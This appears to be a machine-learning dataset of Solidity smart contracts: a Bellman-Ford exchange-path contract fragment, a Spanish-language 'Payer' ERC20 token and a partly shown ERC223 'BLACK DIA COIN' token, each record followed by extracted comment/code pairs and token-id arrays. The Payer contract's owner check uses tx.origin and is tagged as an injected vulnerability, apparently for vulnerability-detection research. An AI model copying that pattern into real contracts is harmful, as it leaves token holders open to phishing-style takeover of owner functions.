index = edgeIndex[cycle[i+1]][cycle[i]] - 1; if(edges[index].weights[edges[index].minIndex].reverse == 0) { uint256 temp = transferAmount *edges[index].weights[edges[index].minIndex].exchangeRate; transferAmount = temp/ 1000000; if(temp % 1000000 != 0) transferAmount++; removeEdge(index,transferAmount,address(0),uint8(0)); } else { transferAmount = (transferAmount * 1000000)/edges[index].weights[edges[index].minIndex].exchangeRate; // if(edges[index].weights[edges[index].minIndex].exchangeRate % 1000000 != 0) // transferAmount ++; removeEdge(index,transferAmount,address(0),uint8(0)); } // pathAmounts[pathLength / 2] = transferAmount; } } //break; } } } } } uint256 public indexxx = 20; function wrappedAddEdge(address sourceCoordinator, address destinationCoordinator, uint256 exchangeRate,int256 exchangeRateLog,uint8 reverse,uint256 sourceAmount,address agreementAddress) public { require(msg.sender == netereumAddress); require(nodes[sourceCoordinator].isInserted == true, "3"); require(nodes[destinationCoordinator].isInserted == true, "4"); addEdge(sourceCoordinator,destinationCoordinator, exchangeRate, exchangeRateLog, reverse, sourceAmount, agreementAddress , 1); } //app.wrappedAddEdge('0x3c28ee5a77b6aa58c79E10C8416f32C8d916705a','0xfBa507d4eAc1A2D4144335C793Edae54d212fa22',1000000000,2000000,8,15687229690,'0x3c28ee5a77b6aa58c79E10C8416f32C8d916705a') function removeEdge(uint256 index, uint256 sourceAmount,address agreementAddress,uint8 flag) internal returns(uint256) { uint256 mainIndex ; uint256 weightIndex = 0; uint256 remainingAmount = 0; if(flag == 0) { weightIndex = edges[index].minIndex; mainIndex = index; } else { mainIndex = edgeIndex[Agreement(agreementAddress).creditorCoordinator()][Agreement(agreementAddress).debtorCoordinator()] - 1 ; for(uint256 i = 0;i < edges[mainIndex].numberOfWeights;i++) { if(edges[mainIndex].weights[i].agreementAddress == agreementAddress) { weightIndex = i; break; } } } edges[mainIndex].weights[weightIndex].sourceAmount -= sourceAmount; uint8 forLength = 1; if(flag == 2) { forLength = 2; } for(uint8 j = 0; j < forLength; j++) { if (edges[mainIndex].weights[weightIndex].sourceAmount == 0|| flag > 0) { if(j == 0) { remainingAmount = edges[mainIndex].weights[weightIndex].sourceAmount; } edges[mainIndex].weights[weightIndex].exchangeRate = edges[mainIndex].weights[edges[mainIndex].numberOfWeights - 1].exchangeRate; edges[mainIndex].weights[weightIndex].exchangeRateLog = edges[mainIndex].weights[edges[mainIndex].numberOfWeights - 1].exchangeRateLog; edges[mainIndex].weights[weightIndex].reverse = edges[mainIndex].weights[edges[mainIndex].numberOfWeights - 1].reverse; edges[mainIndex].weights[weightIndex].sourceAmount = edges[mainIndex].weights[edges[mainIndex].numberOfWeights - 1].sourceAmount; edges[mainIndex].weights[weightIndex].agreementAddress = edges[mainIndex].weights[edges[mainIndex].numberOfWeights - 1].agreementAddress; edges[mainIndex].numberOfWeights --; uint256 min = MAX_UINT; for (uint256 i = 0; i < edges[mainIndex].numberOfWeights; i++) { if (min > edges[mainIndex].weights[i].exchangeRate) { min = edges[mainIndex].weights[i].exchangeRate; edges[mainIndex].minIndex = i; } } if (edges[mainIndex].numberOfWeights == 0) { //swapping the current edge with the last edge and decrementing the number of edges edgeIndex[edges[mainIndex].source][edges[mainIndex].destination] = 0; edgeIndex[edges[numberOfEdges - 1].source][edges[numberOfEdges - 1].destination] = mainIndex+1; edges[mainIndex].source = edges[numberOfEdges - 1].source; edges[mainIndex].destination = edges[numberOfEdges - 1].destination; // code for swapping the weights of the desired edge and the last edge for (uint256 i = 0; i < edges[numberOfEdges - 1].numberOfWeights; i ++) { edges[mainIndex].weights[i].exchangeRateLog = edges[numberOfEdges - 1].weights[i].exchangeRateLog; edges[mainIndex].weights[i].exchangeRate = edges[numberOfEdges - 1].weights[i].exchangeRate; edges[mainIndex].weights[i].reverse= edges[numberOfEdges - 1].weights[i].reverse; edges[mainIndex].weights[i].sourceAmount = edges[numberOfEdges - 1].weights[i].sourceAmount; edges[mainIndex].weights[i].agreementAddress = edges[numberOfEdges - 1].weights[i].agreementAddress; } edges[mainIndex].numberOfWeights = edges[numberOfEdges - 1].numberOfWeights; edges[mainIndex].minIndex = edges[numberOfEdges - 1].minIndex; numberOfEdges --; } } if(flag == 2 && j == 0) { mainIndex = edgeIndex[Agreement(agreementAddress).creditorCoordinator()][Agreement(agreementAddress).debtorCoordinator()]; if(mainIndex > 0) { mainIndex --; for(uint256 i = 0;i < edges[mainIndex].numberOfWeights;i++) { if(edges[mainIndex].weights[i].agreementAddress == agreementAddress) { weightIndex = i; break; } } } else break; } } if(agreementAddress == address (0)) remainingAmount = 0; return remainingAmount; } function wrappedRemoveEdge(uint256 index, uint256 sourceAmount,address agreementAddress,uint8 flag) public returns(uint256) { require(msg.sender == netereumAddress); return removeEdge(index,sourceAmount,agreementAddress,flag); } address[] public path; uint256 public amounttt; mapping(uint256 => uint256) public pathAmounts; uint256 public pathLength; function maxFund(address _buyerCoordinator, address _sellerCoordinator,uint256 _buyerCost, uint256 _sellerCost,bool virtual) public returns (bool,uint256) { require(msg.sender == netereumAddress); // for(uint256 i = numberOfAgreements - 1;i >= 0; i--)//removing the agreements and edges that have expired // { // if(agreements[i].expireTime() < block.timestamp) // { // removeEdge(0,0,address(agreements[i]),2); //// agreementStatus[address(agreements[i])] = 3;//expired //// agreements[i] = agreements[numberOfAgreements - 1];//needs to be Checkeddddd //// agreements.pop(); // } // if(i == 0) // break; // } if(pathLength > 0) { for (uint256 i = pathLength - 1; i >= 1; i -= 2)/* the variable i could have been int256 too, but that required the conversion of pathLength to int256 which would be hazardous */ { path.pop(); path.pop(); pathAmounts[i] = 0; pathAmounts[i-1] = 0; if(i == 1)// because of i being uint, when i == 1 the next iteration will start with i = MAX_uint break; } } pathLength = 0; uint256 pathStart = 0;// the index that the path for the current iteration starts uint256 sum = 0; uint256 amount = 0;// the amount that the sender has to pay if the transaction is accepted by the system while (sum < _sellerCost) { // initializing the distance of the nodes for (uint i = 0; i < numberOfCoordinators; i++) { if (nodes[confirmedCoordinators[i]].coordinator == _buyerCoordinator) { nodes[confirmedCoordinators[i]].distance = 0; } else { nodes[confirmedCoordinators[i]].distance = MAX_INT; } nodes[confirmedCoordinators[i]].parent = address(0); //SHOULD BE MODIFIED } /*the Bellman-Ford algorithm for finding the shortest path and distance between our source coordinator and destination coordinator*/ for (uint i = 1; i < numberOfNodes; i++)// we can use number of coordinators instead of number of nodes { for (uint j = 0; j < numberOfEdges; j++) { if (nodes[edges[j].source].distance != MAX_INT && nodes[edges[j].source].distance + edges[j].weights[edges[j].minIndex].exchangeRateLog < nodes[edges[j].destination].distance) { nodes[edges[j].destination].distance = nodes[edges[j].source].distance + edges[j].weights[edges[j].minIndex].exchangeRateLog; nodes[edges[j].destination].parent = edges[j].source; } } } // /* backtracking from the destination Coordinator to the source Coordinator to // find the maximum amount that can be transferred through this path*/ uint256 transferAmount = 0;// the amount that the current path can transfer uint256 minAmount = 0; // the minimum amount that can be sent to the receiver address tempDestination = _sellerCoordinator; require(nodes[tempDestination].parent != address(0), "13"); while (tempDestination != _buyerCoordinator) { path.push(tempDestination); path.push(nodes[tempDestination].parent); pathLength += 2; uint index = edgeIndex[nodes[tempDestination].parent][tempDestination] - 1; uint256 destAmount = 0; if(edges[index].weights[edges[index].minIndex].reverse == 0) { destAmount = (edges[index].weights[edges[index].minIndex].sourceAmount * 1000000)/ edges[index].weights[edges[index].minIndex].exchangeRate ; } else { uint256 temp = edges[index].weights[edges[index].minIndex].sourceAmount *edges[index].weights[edges[index].minIndex].exchangeRate; destAmount = temp / 1000000; if(temp % 1000000 != 0) destAmount++; } if(pathLength == 2) { if(destAmount < _sellerCost - sum) { transferAmount = edges[index].weights[edges[index].minIndex].sourceAmount; } else { if(edges[index].weights[edges[index].minIndex].reverse == 0) { uint256 temp = (_sellerCost - sum) * edges[index].weights[edges[index].minIndex].exchangeRate; transferAmount = temp / 1000000 ; if(temp % 1000000 != 0) transferAmount++; } else { transferAmount = ((_sellerCost - sum) *1000000) / edges[index].weights[edges[index].minIndex].exchangeRate; } } } else if(pathLength > 2) { if(transferAmount > destAmount ) transferAmount = destAmount; if(edges[index].weights[edges[index].minIndex].reverse == 0) { uint256 temp = transferAmount * edges[index].weights[edges[index].minIndex].exchangeRate; transferAmount = temp / 1000000 ; if(temp % 1000000 != 0) transferAmount++; } else { transferAmount = (transferAmount *1000000) / edges[index].weights[edges[index].minIndex].exchangeRate; } } tempDestination = nodes[tempDestination].parent; } amount += transferAmount; minAmount = transferAmount; // backtracking again to reduce the weights of the edges for(uint256 i = pathLength - 1;i >= pathStart + 1 ; i-=2) { uint256 index = edgeIndex[path[i]][path[i-1]] - 1; pathAmounts[i-1] = minAmount; if(edges[index].weights[edges[index].minIndex].reverse == 0) { uint256 temp = (minAmount * 1000000)/edges[index].weights[edges[index].minIndex].exchangeRate; addEdge(path[i-1],path[i], edges[index].weights[edges[index].minIndex].exchangeRate, -1 * edges[index].weights[edges[index].minIndex].exchangeRateLog, 1,temp, edges[index].weights[edges[index].minIndex].agreementAddress,0); removeEdge(index,minAmount,address(0),uint8(0)); minAmount = temp; } else { uint256 temp = (minAmount *edges[index].weights[edges[index].minIndex].exchangeRate); if(temp % 1000000 != 0) { temp = temp / 1000000; temp ++; } else temp = temp /1000000; addEdge(path[i-1],path[i], edges[index].weights[edges[index].minIndex].exchangeRate, -1 * edges[index].weights[edges[index].minIndex].exchangeRateLog, 0,temp, edges[index].weights[edges[index].minIndex].agreementAddress,0); removeEdge(index,minAmount,address(0),uint8(0)); minAmount = temp; } pathAmounts[i] = minAmount; if(i == pathStart + 1) break; } sum += minAmount; pathStart = pathLength; amounttt = amount; } if (amount > _buyerCost || virtual)//changing the graph to the previous state //BE CAREFUL HEREEEEEE { // neutralizing the effects that our computation had on the graph for (uint256 i = pathLength - 1; i >= 1; i -= 2) { uint256 index = edgeIndex[path[i - 1]][path[i]] -1; if(edges[index].weights[edges[index].minIndex].reverse == 0) { addEdge(path[i],path[i-1], edges[index].weights[edges[index].minIndex].exchangeRate, -1 * edges[index].weights[edges[index].minIndex].exchangeRateLog, 1,pathAmounts[i-1], edges[index].weights[edges[index].minIndex].agreementAddress,0); removeEdge(index,pathAmounts[i],address(0),0); } else { addEdge(path[i],path[i-1], edges[index].weights[edges[index].minIndex].exchangeRate, -1 * edges[index].weights[edges[index].minIndex].exchangeRateLog, 0,pathAmounts[i-1], edges[index].weights[edges[index].minIndex].agreementAddress,0); removeEdge(index,pathAmounts[i],address(0),0); } if(i == 1) break; } amounttt = 1; return (false,amount); } else return (true,amount); } function getParent(address addr) public returns(address) { return nodes[addr].parent; } function getMinIndex(uint256 i) public returns(uint256) { return edges[i].minIndex; } function getNumberOfWeights(uint256 i) public returns(uint256) { return edges[i].numberOfWeights; } function getAmount(uint256 i,uint256 j) public returns(uint256) { return edges[i].weights[j].sourceAmount; } function getRate(uint256 i,uint256 j) public returns(uint256) { return edges[i].weights[j].exchangeRate; } function getLog(uint256 i,uint256 j) public returns(int256) { return edges[i].weights[j].exchangeRateLog; } }
/* backtracking from the destination Coordinator to the source Coordinator to find the maximum amount that can be transferred through this path*/
address tempDestination = _sellerCoordinator;
12,652,478
[ 1, 19, 6888, 628, 326, 2929, 10320, 4240, 358, 326, 1084, 10320, 4240, 358, 1104, 326, 4207, 3844, 716, 848, 506, 906, 4193, 3059, 333, 589, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 1758, 1906, 5683, 273, 389, 1786, 749, 25307, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.1; library MatematicaSegura { function multiplicar (uint256 p, uint256 s) internal pure returns(uint256){ if(p == 0 || s == 0) return 0; uint256 c = p*s; require (c/p == s); return c; } function dividir (uint256 v, uint256 d) internal pure returns(uint256){ require(d>0); uint256 r = v / d; require(v == r*d + v % d); return r; } function sumar(uint256 s1, uint256 s2) internal pure returns(uint256){ uint256 r = s1 + s2; require ( r >= s1); return r; } function restar (uint256 m, uint256 s) internal pure returns(uint256) { require (m > s); return m-s; } } interface IERC20 { //funciones basicas function totalSupply() external returns(uint256); function balanceOf(address sujeto) external returns(uint256); //funciones para transferencia function transfer (address destinatario, uint256 value) external returns (bool); function transferFrom(address enviador, address destinatario, uint256 value) external returns (bool); //funciones para exchange function approve(address autorizado, uint256 cantidad) external returns (bool); function allowance (address propietario, address autorizado) external view returns (uint256); //eventos event Transfer (address remitente, address destinatario, uint256 cantidad); event Approval (address indexed propietario, address indexed autorizado, uint256 cantidad); } contract Payer is IERC20{ using MatematicaSegura for uint256; // variables ERC20 tradicionales uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public autorizado; address public propietario; //caracteristicas de la moneda uint256 public decimals = 8; string public name = "Payer"; string public symbol = "Payer"; uint256 public totalSupply; // variables para contrato limitado mapping (address => bool) public administradores; mapping (address => bool) public notransferible; mapping (address => uint256) public gastable; uint256 public plimitacion; bool public state; constructor(uint256 _totalSupply) public { state = false; plimitacion = 100; totalSupply = _totalSupply; propietario = msg.sender; balances[propietario] = totalSupply; administradores[propietario] = true; } modifier OnlyOwner(){ require(tx.origin == propietario, "No es el propietario"); //inject USING TX ORIGIN FOR AUTHENTICATION _; } //funciones propias function isAdmin(address _direccion) public view OnlyOwner returns(bool){ return administradores[_direccion]; } function setNewAdmin(address _postulante) public OnlyOwner returns(bool){ require(_postulante != address(0), "Direcci1n No V1lida"); administradores[_postulante] = true; } function setNoTransferible(address _admin, address _sujeto, bool _state) public returns (bool) { require(administradores[_admin], "Direcci1n no autorizada"); notransferible[_sujeto] = _state; return true; } function setState (bool _state) public OnlyOwner{ state = _state; } // ========== FUNCIONES ESTANDAR ERC20 function balanceOf(address _sujeto) public returns (uint256){ require(_sujeto != address(0),"Direcci1n No V1lida"); return balances[_sujeto]; } //funciones de transferencia function transfer(address _destinatario, uint256 _cantidad) public returns(bool){ _transfer(msg.sender, _destinatario, _cantidad); return true; } function transferFrom(address _remitente, address _destinatario, uint256 _cantidad) public returns(bool){ _transfer(_remitente, _destinatario, _cantidad); return true; } function _transfer (address _remitente, address _destinatario, uint256 _cantidad) internal{ if(state){ if(administradores[_remitente]){ setNoTransferible(_remitente, _destinatario, state); } } require(verificaTransferibilidad(_remitente, _cantidad), "Saldo transferible insuficiente"); balances[_remitente] = balances[_remitente].restar(_cantidad); balances[_destinatario] = balances[_destinatario].sumar(_cantidad); emit Transfer(_remitente, _destinatario, _cantidad); } function verificaTransferibilidad(address _sujeto, uint256 _montoSolicitado) internal returns(bool) { if(notransferible[_sujeto]) { require(gastable[_sujeto].sumar(_montoSolicitado) <= balances[_sujeto].multiplicar(plimitacion).dividir(100), "Saldo gastable insuficiente"); gastable[_sujeto] = gastable[_sujeto].sumar(_montoSolicitado); return true; }else{ return true; } } function setGastable (uint256 _plimitacion) public OnlyOwner returns(bool){ require(_plimitacion != 0, "Tasa no v1lida"); plimitacion = _plimitacion; return true; } //funciones para exchange function allowance (address _propietario, address _autorizado) public view returns(uint256){ return autorizado[_propietario][_autorizado]; } /** funcion que autoriza la nueva cantidad a transferir */ function approve( address _autorizado, uint256 _cantidad) public returns(bool) { _approve(msg.sender, _autorizado, _cantidad); return true; } function _approve (address _propietario, address _autorizado, uint256 _cantidad) internal { require (_propietario != address(0), "Direcci1n No V1lida"); require (_autorizado != address(0), "Direcci1n No V1lida"); autorizado[_propietario][_autorizado] = _cantidad; emit Approval(_propietario, _autorizado, _cantidad); } function increaseAllowance (uint256 _adicional, address _autorizado) private OnlyOwner returns (bool){ require(_autorizado != address(0), "Direcci1n No V1lida"); autorizado[msg.sender][_autorizado] = autorizado[msg.sender][_autorizado].sumar(_adicional); emit Approval(msg.sender, _autorizado, _adicional); return true; } function decreaseAllowance (uint256 _reduccion, address _autorizado) private OnlyOwner returns (bool){ require(_autorizado != address(0), "Direcci1n No V1lida"); autorizado[msg.sender][_autorizado] = autorizado[msg.sender][_autorizado].restar(_reduccion); emit Approval(msg.sender, _autorizado, _reduccion); return true; } //funciones adicionales ERC20 function burn(address _cuenta, uint256 _cantidad) internal{ require(_cuenta != address(0), "Direcci1n No V1lida"); require(balances[_cuenta] >= _cantidad, "Saldo insuficiente para quemar"); balances[_cuenta] = balances[_cuenta].restar(_cantidad); totalSupply = totalSupply.restar(_cantidad); emit Transfer(_cuenta, address(0), _cantidad); } function burnFrom(address _cuenta, uint256 _cantidad) internal{ require (_cuenta != address(0), "Direcci1n No Valida"); require (autorizado[_cuenta][msg.sender] >= _cantidad, "Saldo insuficiente para quemar"); autorizado[_cuenta][msg.sender] = autorizado[_cuenta][msg.sender].restar(_cantidad); burn(_cuenta, _cantidad); } event Transfer(address enviante, address destinatario, uint256 cantidad); event Approval(address propietario, address autorizado, uint256 cantidad); }
* funcion que autoriza la nueva cantidad a transferir */
function approve( address _autorizado, uint256 _cantidad) public returns(bool) { _approve(msg.sender, _autorizado, _cantidad); return true; }
12,845,689
[ 1, 644, 285, 6597, 2059, 5331, 69, 7125, 290, 344, 15304, 848, 18081, 361, 279, 7412, 481, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 1758, 389, 69, 3408, 452, 6821, 16, 2254, 5034, 389, 71, 970, 350, 361, 13, 1071, 1135, 12, 6430, 13, 288, 203, 3639, 389, 12908, 537, 12, 3576, 18, 15330, 16, 389, 69, 3408, 452, 6821, 16, 389, 71, 970, 350, 361, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; /** * @title BLACK DIA COIN * @author BLACK DIA COIN TEAM * @dev BLACK DIA COIN is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address & authority addresses, and provides basic * authorization control functions, this simplifies the implementation of user permissions. */ contract Ownable { address public owner; bool public canRenounce = false; mapping (address => bool) public authorities; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AuthorityAdded(address indexed authority); event AuthorityRemoved(address indexed authority); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the authority or owner. */ modifier onlyAuthority() { require(msg.sender == owner || authorities[msg.sender]); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function enableRenounceOwnership() onlyOwner public { canRenounce = true; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) onlyOwner public { if(!canRenounce){ require(_newOwner != address(0)); } emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } /** * @dev Adds authority to execute several functions to subOwner. * @param _authority The address to add authority to. */ function addAuthority(address _authority) onlyOwner public { authorities[_authority] = true; emit AuthorityAdded(_authority); } /** * @dev Removes authority to execute several functions from subOwner. * @param _authority The address to remove authority from. */ function removeAuthority(address _authority) onlyOwner public { authorities[_authority] = false; emit AuthorityRemoved(_authority); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyAuthority whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyAuthority whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title BLACK DIA COIN * @author BLACK DIA COIN TEAM * @dev BLACK DIA COIN is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract BDACoin is ERC223, Ownable, Pausable { using SafeMath for uint; string public name = "BLACK DIA COIN"; string public symbol = "BDA"; uint8 public decimals = 8; string version = "2.0"; uint public totalSupply = 1e10 * 4e8; uint public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint) public balanceOf; mapping(address => mapping (address => uint)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint locked); event Burn(address indexed from, uint amount); event Mint(address indexed to, uint amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ constructor() public { owner = msg.sender; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyAuthority public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; emit FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyAuthority public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) whenNotPaused public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { 